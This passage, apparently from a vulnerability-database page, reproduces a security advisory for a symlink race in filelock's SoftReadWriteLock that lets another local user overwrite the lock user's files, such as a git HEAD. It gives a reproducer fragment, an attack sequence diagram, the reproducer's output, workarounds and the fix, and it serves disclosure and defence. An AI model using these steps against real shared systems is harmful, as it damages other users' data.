f\"{LOCK_TREE}/gen\")\n```\n\n**`repro.d/victim_worker.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftReadWriteLock\n\nlock = SoftReadWriteLock(\"/srv/shared/app.lock\")\nfor job in sys.stdin:\n with lock.write_lock(timeout=30):\n ... # the job\u0027s work on the shared resource\n print(\"victim: finished\", job.strip(), \"and released the lock\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as other local user\n participant W as worker of the lock user (one lock object)\n participant F as /srv/shared (0777, no sticky bit)\n participant T as /home/victim/project/.git (0700)\n rect rgb(255, 214, 214)\n Note over A,T: filelock 4.1.0 to 4.2.0\n W-\u003e\u003eF: job 1, write_lock() creates app.lock.rw (0700) with gen and holders, prepare() checks them once, _prepared = True\n W-\u003e\u003eF: release, lock object kept\n A-\u003e\u003eF: rename(app.lock.rw, app.lock.rw.aside)\n A-\u003e\u003eF: mkdir app.lock.rw with a world-writable holders, symlink app.lock.rw/gen pointing at /home/victim/project/.git\n W-\u003e\u003eF: job 2, prepare() returns at once, create(holders/token) succeeds in the planted holders\n W-\u003e\u003eT: _incarnation() reads gen/epoch through the symlink, finds none, creates .git/epoch\n W-\u003e\u003eT: commit() creates .git/.commit-token, links it to .git/00000000000000000001\n W-\u003e\u003eT: replace() renames .git/.commit-token over .git/HEAD\n W-\u003e\u003eT: release commits generation 2 and renames over HEAD again\n Note over W,T: write_lock() returned without error, HEAD is now a filelock-rw/1 record, git status says not a git repository\n end\n```\n\n## Evidence\n\nThe scanner\u0027s reproducer runs as root, drops to `victim` and `attacker` through `runuser`, needs `git`, changes no sysctl, and takes about half a second. It creates `/srv/shared` (root-owned, `0777`, no sticky bit), has `victim` run `git init /home/victim/project` and makes that directory `0700`. It then drives two programs. `victim_worker.py` holds one `SoftReadWriteLock(\"/srv/shared/app.lock\")` with default options; for each line on stdin it takes `write_lock(timeout=30)`, releases it and prints `finished \u003cjob\u003e and released the lock`. `attacker_swap_tree.py` renames the lock user\u0027s `app.lock.rw` aside, creates a new one with a world-writable `holders/`, and makes `app.lock.rw/gen` a symbolic link to `/home/victim/project/.git`, using only write access to `/srv/shared`. On the scanned commit it prints:\n\n```\nCONTROL attacker opens HEAD for writing: PermissionError: [Errno 13] Permission denied: \u0027/home/victim/project/.git/HEAD\u0027\nVICTIM victim: finished job 1 and released the lock\nVICTIM app.lock.rw owner uid 1000 mode 0o700\nATTACK app.lock.rw/gen -\u003e /home/victim/project/.git\nCONTROL new worker: RuntimeError: /srv/shared/app.lock.rw/gen exists but is not a directory or is a symlink; refusing to use it\nCONTROL HEAD after the new worker: \u0027ref: refs/heads/master\\n\u0027\nVICTIM victim: finished job 2 and released the lock\nOBSERVED HEAD: \u0027\u003cepoch\u003e\\nfilelock-rw/1\\ngeneration=2\\n\u0027\nOBSERVED .git: [..., \u0027epoch\u0027, \u002700000000000000000001\u0027, \u002700000000000000000002\u0027, ...]\nOBSERVED git status: fatal: not a git repository\nBUG\n```\n\nThe `CONTROL` lines show that the other account cannot reach the repository itself and that a fresh lock object refuses the planted tree. The existing check works; the code does not repeat it for a live instance. The sticky-directory variant ends the same way, with `fs.protected_symlinks=1`. There the other account creates `app.lock.rw`, `gen` and `holders` with mode `0777` in a `1777` parent before the lock user\u0027s first acquire, then renames its own `gen` aside and links it to the lock user\u0027s `.git`.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #842 stack head: `OK`, `HEAD` stays `ref: refs/heads/master`, `.git` keeps its original listing and `git status` answers `On branch master`. The result is the same with the stack\u0027s owner check disabled, so it does not depend on who owns the tree.\n\n## Impact\n\nWith the lock user\u0027s privileges, in any directory the lock user can write, the other user gets a file named `HEAD` replaced, new files `epoch`, `HEAD` and 20-digit generation names created (mode `0600`), and files deleted whose names match the protocol\u0027s patterns (32 hex digits, 20 digits, `.commit-*`). The bytes written are filelock\u0027s own records, not chosen by the other user. Replacing `HEAD` makes a git repository unusable when the other user knows its path. Renaming `\u003cpath\u003e.rw` away is something this other user may do anyway, and `docs/how-to.rst` documents the result (a new log starts). What this finding adds is that the lock user\u0027s file operations leave the lock\u0027s directory.\n\nThis is adjacent to GHSA-j8f7-rjxc-mr56 (`ReadWriteLock` following a symbolic link at its database path, fixed in 4.0.9) and the earlier symbolic link fixes (PR 461 for lock file creation, PR 465 for `SoftFileLock`, PR 565 for refreshing soft read/write lock markers). Each guards the final path component. Here the link sits at a directory component, which `O_NOFOLLOW` does not cover.\n\n## Workarounds\n\n- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a `SoftReadWriteLock` between accounts through a `0777` or group-writable directory.\n- In a sticky directory such as `/tmp`, make sure the locking account creates `\u003cpath\u003e.rw` before anyone else can (for example at install time with mode `0700`), and do not use a lock path whose `\u003cpath\u003e.rw` belongs to another account.\n- Prefer a fresh lock object per unit of work over a long-lived singleton when other accounts can write the lock directory. A fresh object re-runs the directory check and refuses a planted tree.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/842\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:39 UTC: fix PR #842 opened",
"id": "GHSA-wfhq-q4j2-c37m",
"modified": "2026-10-28T21:09:09Z",
"published": "2026-10-28T21:09:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-wfhq-q4j2-c37m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112941"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/pull/842"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"
},
{
"type": "PACKAGE",
"url": "https://github.com/tox-dev/filelock"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "filelock: SoftReadWriteLock follows a lock tree swapped in after its first acquire and writes lock records into directories of the user running the lock"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.